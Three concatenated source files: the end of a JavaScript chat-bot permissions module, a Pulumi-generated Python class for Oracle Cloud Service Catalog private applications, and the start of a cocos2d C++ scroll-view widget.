Permissions.prototype.sendSocket = function (self, socket) {
socket.emit('Permissions', global.parser.permissionsCmds)
}
Permissions.prototype.changeSocket = function (self, socket, data) {
self.overridePermission(self, null, data.permission + ' ' + data.command)
self.sendSocket(self, socket)
}
Permissions.prototype.removePermission = function (self, command) {
global.botDB.remove({_id: 'permission_' + crypto.createHash('md5').update(command.replace('!', '')).digest('hex')})
}
Permissions.prototype.overridePermission = function (self, sender, text) {
try {
var parsed = text.match(/^(viewer|mods|owner|regular|disable) ([\u0500-\u052F\u0400-\u04FF\w].+)$/)
var hash = crypto.createHash('md5').update(parsed[2]).digest('hex')
var command = parsed[2]
var permission
switch (parsed[1]) {
case 'viewer':
permission = constants.VIEWERS
break
case 'mods':
permission = constants.MODS
break
case 'disable':
permission = constants.DISABLE
break
case 'regular':
permission = constants.REGULAR
break
default:
permission = constants.OWNER_ONLY
}
if (!_.isUndefined(global.parser.permissionsCmds['!' + command])) {
global.parser.permissionsCmds['!' + command] = permission
global.botDB.update({_id: 'permission_' + hash}, {$set: {command: command, permission: permission}}, {upsert: true}, function (err) {
if (err) global.log.error(err, { fnc: 'Permissions.prototype.overridePermission' })
global.commons.sendMessage(global.translate('permissions.success.change').replace('(command)', parsed[1]), sender)
})
} else {
global.commons.sendMessage(global.translate('permissions.failed.noCmd'), sender)
}
} catch (e) {
global.commons.sendMessage(global.translate('permissions.failed.parse'), sender)
}
}
module.exports = Permissions
|
EladGabay/pulumi-oci | sdk/python/pulumi_oci/servicecatalog/private_application.py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['PrivateApplicationArgs', 'PrivateApplication']
@pulumi.input_type
class PrivateApplicationArgs:
def __init__(__self__, *,
compartment_id: pulumi.Input[str],
display_name: pulumi.Input[str],
package_details: pulumi.Input['PrivateApplicationPackageDetailsArgs'],
short_description: pulumi.Input[str],
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
logo_file_base64encoded: Optional[pulumi.Input[str]] = None,
long_description: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a PrivateApplication resource.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
:param pulumi.Input[str] display_name: (Updatable) The name of the private application.
:param pulumi.Input['PrivateApplicationPackageDetailsArgs'] package_details: A base object for creating a private application package.
:param pulumi.Input[str] short_description: (Updatable) A short description of the private application.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input[str] logo_file_base64encoded: (Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
:param pulumi.Input[str] long_description: (Updatable) A long description of the private application.
"""
pulumi.set(__self__, "compartment_id", compartment_id)
pulumi.set(__self__, "display_name", display_name)
pulumi.set(__self__, "package_details", package_details)
pulumi.set(__self__, "short_description", short_description)
if defined_tags is not None:
pulumi.set(__self__, "defined_tags", defined_tags)
if freeform_tags is not None:
pulumi.set(__self__, "freeform_tags", freeform_tags)
if logo_file_base64encoded is not None:
pulumi.set(__self__, "logo_file_base64encoded", logo_file_base64encoded)
if long_description is not None:
pulumi.set(__self__, "long_description", long_description)
@property
@pulumi.getter(name="compartmentId")
def compartment_id(self) -> pulumi.Input[str]:
"""
(Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
"""
return pulumi.get(self, "compartment_id")
@compartment_id.setter
def compartment_id(self, value: pulumi.Input[str]):
pulumi.set(self, "compartment_id", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Input[str]:
"""
(Updatable) The name of the private application.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: pulumi.Input[str]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="packageDetails")
def package_details(self) -> pulumi.Input['PrivateApplicationPackageDetailsArgs']:
"""
A base object for creating a private application package.
"""
return pulumi.get(self, "package_details")
@package_details.setter
def package_details(self, value: pulumi.Input['PrivateApplicationPackageDetailsArgs']):
pulumi.set(self, "package_details", value)
@property
@pulumi.getter(name="shortDescription")
def short_description(self) -> pulumi.Input[str]:
"""
(Updatable) A short description of the private application.
"""
return pulumi.get(self, "short_description")
@short_description.setter
def short_description(self, value: pulumi.Input[str]):
pulumi.set(self, "short_description", value)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
"""
return pulumi.get(self, "defined_tags")
@defined_tags.setter
def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "defined_tags", value)
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
return pulumi.get(self, "freeform_tags")
@freeform_tags.setter
def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "freeform_tags", value)
@property
@pulumi.getter(name="logoFileBase64encoded")
def logo_file_base64encoded(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
"""
return pulumi.get(self, "logo_file_base64encoded")
@logo_file_base64encoded.setter
def logo_file_base64encoded(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "logo_file_base64encoded", value)
@property
@pulumi.getter(name="longDescription")
def long_description(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) A long description of the private application.
"""
return pulumi.get(self, "long_description")
@long_description.setter
def long_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "long_description", value)
@pulumi.input_type
class _PrivateApplicationState:
def __init__(__self__, *,
compartment_id: Optional[pulumi.Input[str]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
logo: Optional[pulumi.Input['PrivateApplicationLogoArgs']] = None,
logo_file_base64encoded: Optional[pulumi.Input[str]] = None,
long_description: Optional[pulumi.Input[str]] = None,
package_details: Optional[pulumi.Input['PrivateApplicationPackageDetailsArgs']] = None,
package_type: Optional[pulumi.Input[str]] = None,
short_description: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[str]] = None,
time_created: Optional[pulumi.Input[str]] = None,
time_updated: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering PrivateApplication resources.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) The name of the private application.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input['PrivateApplicationLogoArgs'] logo: The model for uploaded binary data, like logos and images.
:param pulumi.Input[str] logo_file_base64encoded: (Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
:param pulumi.Input[str] long_description: (Updatable) A long description of the private application.
:param pulumi.Input['PrivateApplicationPackageDetailsArgs'] package_details: A base object for creating a private application package.
:param pulumi.Input[str] package_type: The package's type.
:param pulumi.Input[str] short_description: (Updatable) A short description of the private application.
:param pulumi.Input[str] state: The lifecycle state of the private application.
:param pulumi.Input[str] time_created: The date and time the private application was created, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-05-26T21:10:29.600Z`
:param pulumi.Input[str] time_updated: The date and time the private application was last modified, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-12-10T05:10:29.721Z`
"""
if compartment_id is not None:
pulumi.set(__self__, "compartment_id", compartment_id)
if defined_tags is not None:
pulumi.set(__self__, "defined_tags", defined_tags)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if freeform_tags is not None:
pulumi.set(__self__, "freeform_tags", freeform_tags)
if logo is not None:
pulumi.set(__self__, "logo", logo)
if logo_file_base64encoded is not None:
pulumi.set(__self__, "logo_file_base64encoded", logo_file_base64encoded)
if long_description is not None:
pulumi.set(__self__, "long_description", long_description)
if package_details is not None:
pulumi.set(__self__, "package_details", package_details)
if package_type is not None:
pulumi.set(__self__, "package_type", package_type)
if short_description is not None:
pulumi.set(__self__, "short_description", short_description)
if state is not None:
pulumi.set(__self__, "state", state)
if time_created is not None:
pulumi.set(__self__, "time_created", time_created)
if time_updated is not None:
pulumi.set(__self__, "time_updated", time_updated)
@property
@pulumi.getter(name="compartmentId")
def compartment_id(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
"""
return pulumi.get(self, "compartment_id")
@compartment_id.setter
def compartment_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "compartment_id", value)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
"""
return pulumi.get(self, "defined_tags")
@defined_tags.setter
def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "defined_tags", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The name of the private application.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
return pulumi.get(self, "freeform_tags")
@freeform_tags.setter
def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "freeform_tags", value)
@property
@pulumi.getter
def logo(self) -> Optional[pulumi.Input['PrivateApplicationLogoArgs']]:
"""
The model for uploaded binary data, like logos and images.
"""
return pulumi.get(self, "logo")
@logo.setter
def logo(self, value: Optional[pulumi.Input['PrivateApplicationLogoArgs']]):
pulumi.set(self, "logo", value)
@property
@pulumi.getter(name="logoFileBase64encoded")
def logo_file_base64encoded(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
"""
return pulumi.get(self, "logo_file_base64encoded")
@logo_file_base64encoded.setter
def logo_file_base64encoded(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "logo_file_base64encoded", value)
@property
@pulumi.getter(name="longDescription")
def long_description(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) A long description of the private application.
"""
return pulumi.get(self, "long_description")
@long_description.setter
def long_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "long_description", value)
@property
@pulumi.getter(name="packageDetails")
def package_details(self) -> Optional[pulumi.Input['PrivateApplicationPackageDetailsArgs']]:
"""
A base object for creating a private application package.
"""
return pulumi.get(self, "package_details")
@package_details.setter
def package_details(self, value: Optional[pulumi.Input['PrivateApplicationPackageDetailsArgs']]):
pulumi.set(self, "package_details", value)
@property
@pulumi.getter(name="packageType")
def package_type(self) -> Optional[pulumi.Input[str]]:
"""
The package's type.
"""
return pulumi.get(self, "package_type")
@package_type.setter
def package_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "package_type", value)
@property
@pulumi.getter(name="shortDescription")
def short_description(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) A short description of the private application.
"""
return pulumi.get(self, "short_description")
@short_description.setter
def short_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "short_description", value)
@property
@pulumi.getter
def state(self) -> Optional[pulumi.Input[str]]:
"""
The lifecycle state of the private application.
"""
return pulumi.get(self, "state")
@state.setter
def state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "state", value)
@property
@pulumi.getter(name="timeCreated")
def time_created(self) -> Optional[pulumi.Input[str]]:
"""
The date and time the private application was created, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-05-26T21:10:29.600Z`
"""
return pulumi.get(self, "time_created")
@time_created.setter
def time_created(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_created", value)
@property
@pulumi.getter(name="timeUpdated")
def time_updated(self) -> Optional[pulumi.Input[str]]:
"""
The date and time the private application was last modified, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-12-10T05:10:29.721Z`
"""
return pulumi.get(self, "time_updated")
@time_updated.setter
def time_updated(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "time_updated", value)
class PrivateApplication(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
logo_file_base64encoded: Optional[pulumi.Input[str]] = None,
long_description: Optional[pulumi.Input[str]] = None,
package_details: Optional[pulumi.Input[pulumi.InputType['PrivateApplicationPackageDetailsArgs']]] = None,
short_description: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
This resource provides the Private Application resource in Oracle Cloud Infrastructure Service Catalog service.
Creates a private application along with a single package to be hosted.
## Example Usage
```python
import pulumi
import pulumi_oci as oci
test_private_application = oci.servicecatalog.PrivateApplication("testPrivateApplication",
compartment_id=var["compartment_id"],
display_name=var["private_application_display_name"],
package_details=oci.servicecatalog.PrivateApplicationPackageDetailsArgs(
package_type=var["private_application_package_details_package_type"],
version=var["private_application_package_details_version"],
zip_file_base64encoded=var["private_application_package_details_zip_file_base64encoded"],
),
short_description=var["private_application_short_description"],
defined_tags={
"foo-namespace.bar-key": "value",
},
freeform_tags={
"bar-key": "value",
},
logo_file_base64encoded=var["private_application_logo_file_base64encoded"],
long_description=var["private_application_long_description"])
```
## Import
PrivateApplications can be imported using the `id`, e.g.
```sh
$ pulumi import oci:servicecatalog/privateApplication:PrivateApplication test_private_application "id"
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) The name of the private application.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input[str] logo_file_base64encoded: (Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
:param pulumi.Input[str] long_description: (Updatable) A long description of the private application.
:param pulumi.Input[pulumi.InputType['PrivateApplicationPackageDetailsArgs']] package_details: A base object for creating a private application package.
:param pulumi.Input[str] short_description: (Updatable) A short description of the private application.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: PrivateApplicationArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
This resource provides the Private Application resource in Oracle Cloud Infrastructure Service Catalog service.
Creates a private application along with a single package to be hosted.
## Example Usage
```python
import pulumi
import pulumi_oci as oci
test_private_application = oci.servicecatalog.PrivateApplication("testPrivateApplication",
compartment_id=var["compartment_id"],
display_name=var["private_application_display_name"],
package_details=oci.servicecatalog.PrivateApplicationPackageDetailsArgs(
package_type=var["private_application_package_details_package_type"],
version=var["private_application_package_details_version"],
zip_file_base64encoded=var["private_application_package_details_zip_file_base64encoded"],
),
short_description=var["private_application_short_description"],
defined_tags={
"foo-namespace.bar-key": "value",
},
freeform_tags={
"bar-key": "value",
},
logo_file_base64encoded=var["private_application_logo_file_base64encoded"],
long_description=var["private_application_long_description"])
```
## Import
PrivateApplications can be imported using the `id`, e.g.
```sh
$ pulumi import oci:servicecatalog/privateApplication:PrivateApplication test_private_application "id"
```
:param str resource_name: The name of the resource.
:param PrivateApplicationArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(PrivateApplicationArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
logo_file_base64encoded: Optional[pulumi.Input[str]] = None,
long_description: Optional[pulumi.Input[str]] = None,
package_details: Optional[pulumi.Input[pulumi.InputType['PrivateApplicationPackageDetailsArgs']]] = None,
short_description: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = PrivateApplicationArgs.__new__(PrivateApplicationArgs)
if compartment_id is None and not opts.urn:
raise TypeError("Missing required property 'compartment_id'")
__props__.__dict__["compartment_id"] = compartment_id
__props__.__dict__["defined_tags"] = defined_tags
if display_name is None and not opts.urn:
raise TypeError("Missing required property 'display_name'")
__props__.__dict__["display_name"] = display_name
__props__.__dict__["freeform_tags"] = freeform_tags
__props__.__dict__["logo_file_base64encoded"] = logo_file_base64encoded
__props__.__dict__["long_description"] = long_description
if package_details is None and not opts.urn:
raise TypeError("Missing required property 'package_details'")
__props__.__dict__["package_details"] = package_details
if short_description is None and not opts.urn:
raise TypeError("Missing required property 'short_description'")
__props__.__dict__["short_description"] = short_description
__props__.__dict__["logo"] = None
__props__.__dict__["package_type"] = None
__props__.__dict__["state"] = None
__props__.__dict__["time_created"] = None
__props__.__dict__["time_updated"] = None
super(PrivateApplication, __self__).__init__(
'oci:servicecatalog/privateApplication:PrivateApplication',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
logo: Optional[pulumi.Input[pulumi.InputType['PrivateApplicationLogoArgs']]] = None,
logo_file_base64encoded: Optional[pulumi.Input[str]] = None,
long_description: Optional[pulumi.Input[str]] = None,
package_details: Optional[pulumi.Input[pulumi.InputType['PrivateApplicationPackageDetailsArgs']]] = None,
package_type: Optional[pulumi.Input[str]] = None,
short_description: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[str]] = None,
time_created: Optional[pulumi.Input[str]] = None,
time_updated: Optional[pulumi.Input[str]] = None) -> 'PrivateApplication':
"""
Get an existing PrivateApplication resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) The name of the private application.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
:param pulumi.Input[pulumi.InputType['PrivateApplicationLogoArgs']] logo: The model for uploaded binary data, like logos and images.
:param pulumi.Input[str] logo_file_base64encoded: (Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
:param pulumi.Input[str] long_description: (Updatable) A long description of the private application.
:param pulumi.Input[pulumi.InputType['PrivateApplicationPackageDetailsArgs']] package_details: A base object for creating a private application package.
:param pulumi.Input[str] package_type: The package's type.
:param pulumi.Input[str] short_description: (Updatable) A short description of the private application.
:param pulumi.Input[str] state: The lifecycle state of the private application.
:param pulumi.Input[str] time_created: The date and time the private application was created, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-05-26T21:10:29.600Z`
:param pulumi.Input[str] time_updated: The date and time the private application was last modified, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-12-10T05:10:29.721Z`
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _PrivateApplicationState.__new__(_PrivateApplicationState)
__props__.__dict__["compartment_id"] = compartment_id
__props__.__dict__["defined_tags"] = defined_tags
__props__.__dict__["display_name"] = display_name
__props__.__dict__["freeform_tags"] = freeform_tags
__props__.__dict__["logo"] = logo
__props__.__dict__["logo_file_base64encoded"] = logo_file_base64encoded
__props__.__dict__["long_description"] = long_description
__props__.__dict__["package_details"] = package_details
__props__.__dict__["package_type"] = package_type
__props__.__dict__["short_description"] = short_description
__props__.__dict__["state"] = state
__props__.__dict__["time_created"] = time_created
__props__.__dict__["time_updated"] = time_updated
return PrivateApplication(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="compartmentId")
def compartment_id(self) -> pulumi.Output[str]:
"""
(Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment where you want to create the private application.
"""
return pulumi.get(self, "compartment_id")
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
"""
return pulumi.get(self, "defined_tags")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Output[str]:
"""
(Updatable) The name of the private application.
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
(Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
return pulumi.get(self, "freeform_tags")
@property
@pulumi.getter
def logo(self) -> pulumi.Output['outputs.PrivateApplicationLogo']:
"""
The model for uploaded binary data, like logos and images.
"""
return pulumi.get(self, "logo")
@property
@pulumi.getter(name="logoFileBase64encoded")
def logo_file_base64encoded(self) -> pulumi.Output[str]:
"""
(Updatable) Base64-encoded logo to use as the private application icon. Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
"""
return pulumi.get(self, "logo_file_base64encoded")
@property
@pulumi.getter(name="longDescription")
def long_description(self) -> pulumi.Output[str]:
"""
(Updatable) A long description of the private application.
"""
return pulumi.get(self, "long_description")
@property
@pulumi.getter(name="packageDetails")
def package_details(self) -> pulumi.Output['outputs.PrivateApplicationPackageDetails']:
"""
A base object for creating a private application package.
"""
return pulumi.get(self, "package_details")
@property
@pulumi.getter(name="packageType")
def package_type(self) -> pulumi.Output[str]:
"""
The package's type.
"""
return pulumi.get(self, "package_type")
@property
@pulumi.getter(name="shortDescription")
def short_description(self) -> pulumi.Output[str]:
"""
(Updatable) A short description of the private application.
"""
return pulumi.get(self, "short_description")
@property
@pulumi.getter
def state(self) -> pulumi.Output[str]:
"""
The lifecycle state of the private application.
"""
return pulumi.get(self, "state")
@property
@pulumi.getter(name="timeCreated")
def time_created(self) -> pulumi.Output[str]:
"""
The date and time the private application was created, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-05-26T21:10:29.600Z`
"""
return pulumi.get(self, "time_created")
@property
@pulumi.getter(name="timeUpdated")
def time_updated(self) -> pulumi.Output[str]:
"""
The date and time the private application was last modified, expressed in [RFC 3339](https://tools.ietf.org/html/rfc3339) timestamp format. Example: `2021-12-10T05:10:29.721Z`
"""
return pulumi.get(self, "time_updated")
|
mcodegeeks/OpenKODE-Framework | 01_Develop/libXMCocos2D-v3/Source/gui/UIWidgets/ScrollWidget/UIScrollView.cpp | /* -----------------------------------------------------------------------------------
*
* File UIScrollView.cpp
* Ported By <NAME>
* Contact <EMAIL>
*
* -----------------------------------------------------------------------------------
*
* Copyright (c) 2010-2014 XMSoft
* Copyright (c) 2013 cocos2d-x.org
*
* http://www.cocos2d-x.org
*
* -----------------------------------------------------------------------------------
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* --------------------------------------------------------------------------------- */
#include "gui/UIWidgets/ScrollWidget/UIScrollView.h"
namespace gui {
#define AUTOSCROLLMAXSPEED 1000.0f
const cocos2d::Point SCROLLDIR_UP = cocos2d::Point(0.0f, 1.0f);
const cocos2d::Point SCROLLDIR_DOWN = cocos2d::Point(0.0f, -1.0f);
const cocos2d::Point SCROLLDIR_LEFT = cocos2d::Point(-1.0f, 0.0f);
const cocos2d::Point SCROLLDIR_RIGHT = cocos2d::Point(1.0f, 0.0f);
UIScrollView::UIScrollView():
m_pInnerContainer(nullptr),
m_eDirection(SCROLLVIEW_DIR_VERTICAL),
m_tTouchBeganPoint(cocos2d::Point::ZERO),
m_tTouchMovedPoint(cocos2d::Point::ZERO),
m_tTouchEndedPoint(cocos2d::Point::ZERO),
m_tTouchMovingPoint(cocos2d::Point::ZERO),
m_tAutoScrollDir(cocos2d::Point::ZERO),
m_fTopBoundary(0.0f),
m_fBottomBoundary(0.0f),
m_fLeftBoundary(0.0f),
m_fRightBoundary(0.0f),
m_fBounceTopBoundary(0.0f),
m_fBounceBottomBoundary(0.0f),
m_fBounceLeftBoundary(0.0f),
m_fBounceRightBoundary(0.0f),
m_bAutoScroll(false),
m_fAutoScrollAddUpTime(0.0f),
m_fAutoScrollOriginalSpeed(0.0f),
m_fAutoScrollAcceleration(-1000.0f),
m_bIsAutoScrollSpeedAttenuated(false),
m_bNeedCheckAutoScrollDestination(false),
m_tAutoScrollDestination(cocos2d::Point::ZERO),
m_bBePressed(false),
m_fSlidTime(0.0f),
m_tMoveChildPoint(cocos2d::Point::ZERO),
m_fChildFocusCancelOffset(5.0f),
m_bLeftBounceNeeded(false),
m_bTopBounceNeeded(false),
m_bRightBounceNeeded(false),
m_bBottomBounceNeeded(false),
m_bBounceEnabled(false),
m_bBouncing(false),
m_tBounceDir(cocos2d::Point::ZERO),
m_fBounceOriginalSpeed(0.0f),
m_bInertiaScrollEnabled(true),
m_pScrollViewEventListener(nullptr),
m_pScrollViewEventSelector(nullptr)
{
}
UIScrollView::~UIScrollView()
{
m_pScrollViewEventListener = nullptr;
m_pScrollViewEventSelector = nullptr;
}
UIScrollView* UIScrollView::create()
{
UIScrollView* widget = new UIScrollView();
if (widget && widget->init())
{
widget->autorelease();
return widget;
}
CC_SAFE_DELETE(widget);
return nullptr;
}
